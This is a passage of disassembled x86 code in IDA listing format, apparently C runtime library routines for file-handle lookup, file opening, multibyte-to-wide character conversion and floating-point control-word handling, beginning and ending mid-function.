jnb short loc_4240D2
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD040[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_4240D2
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_4240D2: ; CODE XREF: sub_4240AA+Aj
; sub_4240AA+23j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
retn
sub_4240AA endp
; =============== S U B R O U T I N E =======================================
sub_4240E7 proc near ; CODE XREF: sub_41E3F0+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD140
jnb short loc_424130
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4DD040[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_424130
push eax
call sub_4240AA
pop ecx
push eax
call near ptr 2620000h
nop
test eax, eax
jnz short loc_424125
nop
call near ptr 2680972h
jmp short loc_424127
; ---------------------------------------------------------------------------
loc_424125: ; CODE XREF: sub_4240E7+34j
xor eax, eax
loc_424127: ; CODE XREF: sub_4240E7+3Cj
test eax, eax
jz short locret_42413D
mov dword_4DBDE0, eax
loc_424130: ; CODE XREF: sub_4240E7+Aj
; sub_4240E7+22j
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
locret_42413D: ; CODE XREF: sub_4240E7+42j
retn
sub_4240E7 endp
; =============== S U B R O U T I N E =======================================
sub_42413E proc near ; DATA XREF: ___:00429020o
mov eax, dword_4DD020
push esi
push 14h
test eax, eax
pop esi
jnz short loc_424152
mov eax, 200h
jmp short loc_424158
; ---------------------------------------------------------------------------
loc_424152: ; CODE XREF: sub_42413E+Bj
cmp eax, esi
jge short loc_42415D
mov eax, esi
loc_424158: ; CODE XREF: sub_42413E+12j
mov dword_4DD020, eax
loc_42415D: ; CODE XREF: sub_42413E+16j
push 4
push eax
call sub_4250B2
pop ecx
mov dword_4DC01C, eax
test eax, eax
pop ecx
jnz short loc_424191
push 4
push esi
mov dword_4DD020, esi
call sub_4250B2
pop ecx
mov dword_4DC01C, eax
test eax, eax
pop ecx
jnz short loc_424191
push 1Ah
call sub_41E2C9
pop ecx
loc_424191: ; CODE XREF: sub_42413E+30j
; sub_42413E+49j
xor ecx, ecx
mov eax, offset off_43D568
loc_424198: ; CODE XREF: sub_42413E+6Ej
mov edx, dword_4DC01C
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43D7E8
jl short loc_424198
xor edx, edx
mov ecx, offset dword_43D578
loc_4241B5: ; CODE XREF: sub_42413E+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4DD040[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_4241D2
test eax, eax
jnz short loc_4241D5
loc_4241D2: ; CODE XREF: sub_42413E+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_4241D5: ; CODE XREF: sub_42413E+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43D5D8
jl short loc_4241B5
pop esi
retn
sub_42413E endp
; =============== S U B R O U T I N E =======================================
sub_4241E3 proc near ; DATA XREF: ___:00429030o
; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES
call sub_41E487
cmp byte_4DBE1C, 0
jz short locret_4241F6
jmp loc_425163
; ---------------------------------------------------------------------------
locret_4241F6: ; CODE XREF: sub_4241E3+Cj
retn
sub_4241E3 endp
; =============== S U B R O U T I N E =======================================
sub_4241F7 proc near ; CODE XREF: sub_41F8E3+32p
; sub_41FE2A+6Cp ...
arg_0 = dword ptr 4
inc dword_4DBFAC
push 1000h
call sub_41BEB5
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_424220
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_424231
; ---------------------------------------------------------------------------
loc_424220: ; CODE XREF: sub_4241F7+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_424231: ; CODE XREF: sub_4241F7+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_4241F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42423B proc near ; CODE XREF: sub_41FBCD+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_424261
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_42426C
; ---------------------------------------------------------------------------
loc_424261: ; CODE XREF: sub_42423B+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_42426C: ; CODE XREF: sub_42423B+24j
mov eax, 8000h
test ecx, eax
jnz short loc_424286
test ch, 40h
jnz short loc_424282
cmp dword_4DBFF8, eax
jz short loc_424286
loc_424282: ; CODE XREF: sub_42423B+3Dj
or [ebp+var_1], 80h
loc_424286: ; CODE XREF: sub_42423B+38j
; sub_42423B+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_4242BE
dec eax
jz short loc_4242B5
dec eax
jz short loc_4242AC
loc_424297: ; CODE XREF: sub_42423B+9Fj
; sub_42423B+E8j ...
mov dword_4DBDDC, 16h
mov dword_4DBDE0, ebx
jmp loc_4244D1
; ---------------------------------------------------------------------------
loc_4242AC: ; CODE XREF: sub_42423B+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_4242C5
; ---------------------------------------------------------------------------
loc_4242B5: ; CODE XREF: sub_42423B+57j
mov [ebp+var_C], 40000000h
jmp short loc_4242C5
; ---------------------------------------------------------------------------
loc_4242BE: ; CODE XREF: sub_42423B+54j
mov [ebp+var_C], 80000000h
loc_4242C5: ; CODE XREF: sub_42423B+78j
; sub_42423B+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_4242F3
cmp eax, 20h
jz short loc_4242EA
cmp eax, 30h
jz short loc_4242E1
cmp eax, 40h
jnz short loc_424297
mov [ebp+var_10], esi
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242E1: ; CODE XREF: sub_42423B+9Aj
mov [ebp+var_10], 2
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242EA: ; CODE XREF: sub_42423B+95j
mov [ebp+var_10], 1
jmp short loc_4242F6
; ---------------------------------------------------------------------------
loc_4242F3: ; CODE XREF: sub_42423B+90j
mov [ebp+var_10], ebx
loc_4242F6: ; CODE XREF: sub_42423B+A4j
; sub_42423B+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_424340
jz short loc_42433B
cmp ecx, ebx
jz short loc_42433B
cmp ecx, edi
jz short loc_424332
cmp ecx, 200h
jz short loc_424359
cmp ecx, 300h
jnz loc_424297
mov [ebp+var_8], 2
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424332: ; CODE XREF: sub_42423B+D8j
mov [ebp+var_8], 4
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_42433B: ; CODE XREF: sub_42423B+D0j
; sub_42423B+D4j
mov [ebp+var_8], esi
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424340: ; CODE XREF: sub_42423B+CEj
cmp ecx, 500h
jz short loc_424362
cmp ecx, 600h
jz short loc_424359
cmp ecx, edx
jz short loc_424362
jmp loc_424297
; ---------------------------------------------------------------------------
loc_424359: ; CODE XREF: sub_42423B+E0j
; sub_42423B+113j
mov [ebp+var_8], 5
jmp short loc_424369
; ---------------------------------------------------------------------------
loc_424362: ; CODE XREF: sub_42423B+10Bj
; sub_42423B+117j
mov [ebp+var_8], 1
loc_424369: ; CODE XREF: sub_42423B+F5j
; sub_42423B+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_424388
mov ecx, dword_4DBDE4
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_424388
push 1
pop esi
loc_424388: ; CODE XREF: sub_42423B+138j
; sub_42423B+148j
test al, 40h
jz short loc_424396
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_424396: ; CODE XREF: sub_42423B+14Fj
test ah, 10h
jz short loc_42439D
or esi, edi
loc_42439D: ; CODE XREF: sub_42423B+15Ej
test al, 20h
jz short loc_4243A9
or esi, 8000000h
jmp short loc_4243B3
; ---------------------------------------------------------------------------
loc_4243A9: ; CODE XREF: sub_42423B+164j
test al, 10h
jz short loc_4243B3
or esi, 10000000h
loc_4243B3: ; CODE XREF: sub_42423B+16Cj
; sub_42423B+170j
call sub_423F24
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_4243D4
and dword_4DBDE0, 0
mov dword_4DBDDC, 18h
jmp short loc_424412
; ---------------------------------------------------------------------------
loc_4243D4: ; CODE XREF: sub_42423B+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
nop
call near ptr 27107C1h
mov esi, eax
cmp esi, edi
jz short loc_424405
push esi
nop
call near ptr 26206E4h
test eax, eax
jnz short loc_424419
push esi
nop
call near ptr 26608D5h
loc_424405: ; CODE XREF: sub_42423B+1B6j
nop
call near ptr 2680972h
push eax
call sub_420C7F
pop ecx
loc_424412: ; CODE XREF: sub_42423B+197j
mov eax, edi
jmp loc_4244EF
; ---------------------------------------------------------------------------
loc_424419: ; CODE XREF: sub_42423B+1C1j
cmp eax, 2
jnz short loc_424424
or [ebp+var_1], 40h
jmp short loc_42442D
; ---------------------------------------------------------------------------
loc_424424: ; CODE XREF: sub_42423B+1E1j
cmp eax, 3
jnz short loc_42442D
or [ebp+var_1], 8
loc_42442D: ; CODE XREF: sub_42423B+1E7j
; sub_42423B+1ECj
push esi
push ebx
call sub_423FB9
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4DD040h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_4244D6
test al, 80h
jz short loc_4244D6
test byte ptr [ebp+arg_4], 2
jz short loc_4244D6
push 2
push 0FFFFFFFFh
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_42448B
cmp dword_4DBDE0, 83h
jz short loc_4244D6
jmp short loc_4244CA
; ---------------------------------------------------------------------------
loc_42448B: ; CODE XREF: sub_42423B+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41F9BC
add esp, 0Ch
test eax, eax
jnz short loc_4244B8
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_4244B8
push [ebp+var_10]
push ebx
call sub_4251BB
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4244CA
loc_4244B8: ; CODE XREF: sub_42423B+265j
; sub_42423B+26Bj
push 0
push 0
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_4244D6
loc_4244CA: ; CODE XREF: sub_42423B+24Ej
; sub_42423B+27Bj
push ebx
call sub_41E312
pop ecx
loc_4244D1: ; CODE XREF: sub_42423B+6Cj
or eax, 0FFFFFFFFh
jmp short loc_4244EF
; ---------------------------------------------------------------------------
loc_4244D6: ; CODE XREF: sub_42423B+221j
; sub_42423B+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_4244ED
test byte ptr [ebp+arg_4], 8
jz short loc_4244ED
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_4244ED: ; CODE XREF: sub_42423B+29Fj
; sub_42423B+2A5j
mov eax, ebx
loc_4244EF: ; CODE XREF: sub_42423B+1D9j
; sub_42423B+299j
pop edi
pop esi
pop ebx
leave
retn
sub_42423B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4244F4 proc near ; CODE XREF: sub_41FDB5+5Ep
; sub_420988+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427C30
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DBFB4
xor ebx, ebx
cmp eax, ebx
jnz short loc_424563
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427920
push esi
nop
call near ptr 2610075h
test eax, eax
jz short loc_424541
mov eax, esi
jmp short loc_42455E
; ---------------------------------------------------------------------------
loc_424541: ; CODE XREF: sub_4244F4+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_4CB88C
push esi
push ebx
nop
call near ptr 261081Dh
test eax, eax
jz loc_424629
push 2
pop eax
loc_42455E: ; CODE XREF: sub_4244F4+4Bj
mov dword_4DBFB4, eax
loc_424563: ; CODE XREF: sub_4244F4+2Fj
cmp eax, 2
jnz short loc_42458C
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_424574
mov eax, dword_4DBE84
loc_424574: ; CODE XREF: sub_4244F4+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
nop
call near ptr 261081Dh
jmp loc_42462B
; ---------------------------------------------------------------------------
loc_42458C: ; CODE XREF: sub_4244F4+72j
cmp eax, 1
jnz loc_424629
cmp [ebp+arg_10], ebx
jnz short loc_4245A2
mov eax, dword_4DBE94
mov [ebp+arg_10], eax
loc_4245A2: ; CODE XREF: sub_4244F4+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call near ptr 26F0000h
nop
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_424629
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_41BF70
add esp, 0Ch
jmp short loc_4245F8
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_4245F8: ; CODE XREF: sub_4244F4+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_424629
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
nop
call near ptr 26F0000h
cmp eax, ebx
jz short loc_424629
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
nop
call near ptr 2610075h
jmp short loc_42462B
; ---------------------------------------------------------------------------
loc_424629: ; CODE XREF: sub_4244F4+61j
; sub_4244F4+9Bj ...
xor eax, eax
loc_42462B: ; CODE XREF: sub_4244F4+93j
; sub_4244F4+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4244F4 endp
; =============== S U B R O U T I N E =======================================
sub_42463D proc near ; CODE XREF: sub_41FE2A+61p
; sub_420CE6+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DD140
jb short loc_42464C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42464C: ; CODE XREF: sub_42463D+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD040[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_42463D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424663 proc near ; CODE XREF: sub_41FF3F+2D4p
; sub_41FF3F+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_42466F
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42466F: ; CODE XREF: sub_424663+8j
cmp dword_4DBE84, 0
jnz short loc_42468A
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_4246BC
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42468A: ; CODE XREF: sub_424663+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43D084
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4DBE94
nop
call near ptr 2811010h
test eax, eax
jz short loc_4246BC
cmp [ebp+arg_0], 0
jz short loc_4246C9
loc_4246BC: ; CODE XREF: sub_424663+1Ej
; sub_424663+51j
mov dword_4DBDDC, 2Ah
or eax, 0FFFFFFFFh
loc_4246C9: ; CODE XREF: sub_424663+57j
pop ebp
retn
sub_424663 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4246CB proc near ; CODE XREF: sub_420DB0+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_4246EE
cmp [ebp+arg_8], ebx
jz short loc_4246EE
mov al, [esi]
cmp al, bl
jnz short loc_4246F4
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4246EE
mov [eax], bx
loc_4246EE: ; CODE XREF: sub_4246CB+Cj
; sub_4246CB+11j ...
xor eax, eax
loc_4246F0: ; CODE XREF: sub_4246CB+42j
; sub_4246CB+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4246F4: ; CODE XREF: sub_4246CB+17j
cmp dword_4DBE84, ebx
jnz short loc_42470F
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_42470A
movzx ax, al
mov [ecx], ax
loc_42470A: ; CODE XREF: sub_4246CB+36j
; sub_4246CB+C0j
push 1
pop eax
jmp short loc_4246F0
; ---------------------------------------------------------------------------
loc_42470F: ; CODE XREF: sub_4246CB+2Fj
mov ecx, off_43CE78
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42476C
mov eax, dword_43D084
cmp eax, 1
jle short loc_424753
cmp [ebp+arg_8], eax
jl short loc_42475D
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4DBE94
nop
call near ptr 26F0000h
test eax, eax
mov eax, dword_43D084
jnz short loc_4246F0
loc_424753: ; CODE XREF: sub_4246CB+5Cj
cmp [ebp+arg_8], eax
jb short loc_42475D
cmp [esi+1], bl
jnz short loc_4246F0
loc_42475D: ; CODE XREF: sub_4246CB+61j
; sub_4246CB+8Bj ...
mov dword_4DBDDC, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4246F0
; ---------------------------------------------------------------------------
loc_42476C: ; CODE XREF: sub_4246CB+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4DBE94
nop
call near ptr 26F0000h
test eax, eax
jnz loc_42470A
jmp short loc_42475D
sub_4246CB endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4247A0 proc near ; CODE XREF: sub_420DB0+797p
; sub_420DB0+7E7p
cmp cl, 40h
jnb short loc_4247BA
cmp cl, 20h
jnb short loc_4247B0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_4247B0: ; CODE XREF: sub_4247A0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_4247BA: ; CODE XREF: sub_4247A0+3j
xor eax, eax
xor edx, edx
retn
sub_4247A0 endp
; =============== S U B R O U T I N E =======================================
sub_4247BF proc near ; CODE XREF: sub_421826+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_42480B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_4247DD
test al, 80h
jz short loc_42480B
test al, 2
jnz short loc_42480B
loc_4247DD: ; CODE XREF: sub_4247BF+14j
cmp dword ptr [esi+8], 0
jnz short loc_4247EA
push esi
call sub_4241F7
pop ecx
loc_4247EA: ; CODE XREF: sub_4247BF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_4247FA
cmp dword ptr [esi+4], 0
jnz short loc_42480B
inc eax
mov [esi], eax
loc_4247FA: ; CODE XREF: sub_4247BF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_424811
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_424817
inc eax
mov [esi], eax
loc_42480B: ; CODE XREF: sub_4247BF+9j
; sub_4247BF+18j ...
or eax, 0FFFFFFFFh
loc_42480E: ; CODE XREF: sub_4247BF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424811: ; CODE XREF: sub_4247BF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_424817: ; CODE XREF: sub_4247BF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_42480E
sub_4247BF endp
; =============== S U B R O U T I N E =======================================
sub_42482D proc near ; CODE XREF: sub_421E16+52p
xor eax, eax
retn
sub_42482D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424830 proc near ; CODE XREF: sub_424865+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_42487B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_42490D
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_424830 endp
; =============== S U B R O U T I N E =======================================
sub_424865 proc near ; CODE XREF: sub_422102+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_424830
pop ecx
pop ecx
retn
sub_424865 endp
; =============== S U B R O U T I N E =======================================
sub_42487B proc near ; CODE XREF: sub_424830+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_42488C
push 10h
pop eax
loc_42488C: ; CODE XREF: sub_42487B+Cj
test bl, 4
jz short loc_424893
or al, 8
loc_424893: ; CODE XREF: sub_42487B+14j
test bl, 8
jz short loc_42489A
or al, 4
loc_42489A: ; CODE XREF: sub_42487B+1Bj
test bl, 10h
jz short loc_4248A1
or al, 2
loc_4248A1: ; CODE XREF: sub_42487B+22j
test bl, 20h
jz short loc_4248A8
or al, 1
loc_4248A8: ; CODE XREF: sub_42487B+29j
test bl, 2
jz short loc_4248B2
or eax, 80000h
loc_4248B2: ; CODE XREF: sub_42487B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_4248EA
cmp edx, 400h
jz short loc_4248E7
cmp edx, 800h
jz short loc_4248E3
cmp edx, esi
jnz short loc_4248EA
or eax, edi
jmp short loc_4248EA
; ---------------------------------------------------------------------------
loc_4248E3: ; CODE XREF: sub_42487B+5Ej
or eax, ebp
jmp short loc_4248EA
; ---------------------------------------------------------------------------
loc_4248E7: ; CODE XREF: sub_42487B+56j
or ah, 1
loc_4248EA: ; CODE XREF: sub_42487B+4Ej
; sub_42487B+62j ...
and ecx, edi
pop esi
jz short loc_4248FA
cmp ecx, ebp
jnz short loc_4248FF
or eax, 10000h
jmp short loc_4248FF
; ---------------------------------------------------------------------------
loc_4248FA: ; CODE XREF: sub_42487B+72j
or eax, 20000h
loc_4248FF: ; CODE XREF: sub_42487B+76j
; sub_42487B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_42490C
or eax, 40000h
locret_42490C: ; CODE XREF: sub_42487B+8Aj
retn
sub_42487B endp
; =============== S U B R O U T I N E =======================================
sub_42490D proc near ; CODE XREF: sub_424830+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42491D
push 1
pop eax
loc_42491D: ; CODE XREF: sub_42490D+Bj
test bl, 8
jz short loc_424924
or al, 4
loc_424924: ; CODE XREF: sub_42490D+13j
test bl, 4
jz short loc_42492B
or al, 8
loc_42492B: ; CODE XREF: sub_42490D+1Aj
test bl, 2
jz short loc_424932
or al, 10h
loc_424932: ; CODE XREF: sub_42490D+21j
test bl, 1
jz short loc_424939
or al, 20h
loc_424939: ; CODE XREF: sub_42490D+28j
test ebx, 80000h
jz short loc_424943
or al, 2
loc_424943: ; CODE XREF: sub_42490D+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_424970
cmp ecx, 100h
jz short loc_42496D
cmp ecx, esi
jz short loc_424968
cmp ecx, edx
jnz short loc_424970
or ah, 0Ch
jmp short loc_424970
; ---------------------------------------------------------------------------
loc_424968: ; CODE XREF: sub_42490D+50j
or ah, 8
jmp short loc_424970
; ---------------------------------------------------------------------------
loc_42496D: ; CODE XREF: sub_42490D+4Cj
or ah, 4
loc_424970: ; CODE XREF: sub_42490D+44j
; sub_42490D+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_424986
cmp ecx, 10000h
jnz short loc_424988
or eax, esi
jmp short loc_424988
; ---------------------------------------------------------------------------
loc_424986: ; CODE XREF: sub_42490D+6Bj
or eax, edx
loc_424988: ; CODE XREF: sub_42490D+73j
; sub_42490D+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_424995
or ah, 10h
locret_424995: ; CODE XREF: sub_42490D+83j
retn
sub_42490D endp
; =============== S U B R O U T I N E =======================================
sub_424996 proc near ; CODE XREF: sub_424A35+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4249DB
inc esi
cmp esi, 3
jge short loc_4249D6
lea eax, [eax+esi*4]
loc_4249C8: ; CODE XREF: sub_424996+3Ej
cmp dword ptr [eax], 0
jnz short loc_4249DB
inc esi
add eax, 4
cmp esi, 3
jl short loc_4249C8
loc_4249D6: ; CODE XREF: sub_424996+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4249DB: ; CODE XREF: sub_424996+27j
; sub_424996+35j
xor eax, eax
pop esi
retn
sub_424996 endp
; =============== S U B R O U T I N E =======================================
sub_4249DF proc near ; CODE XREF: sub_424A35+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_425301
add esp, 0Ch
dec esi
js short loc_424A31
lea edi, [ebx+esi*4]
loc_424A18: ; CODE XREF: sub_4249DF+50j
test eax, eax
jz short loc_424A31
push edi
push 1
push dword ptr [edi]
call sub_425301
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_424A18
loc_424A31: ; CODE XREF: sub_4249DF+34j
; sub_4249DF+3Bj
pop edi
pop esi
pop ebx
retn
sub_4249DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424A35 proc near ; CODE XREF: sub_424B90+81p
; sub_424B90+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
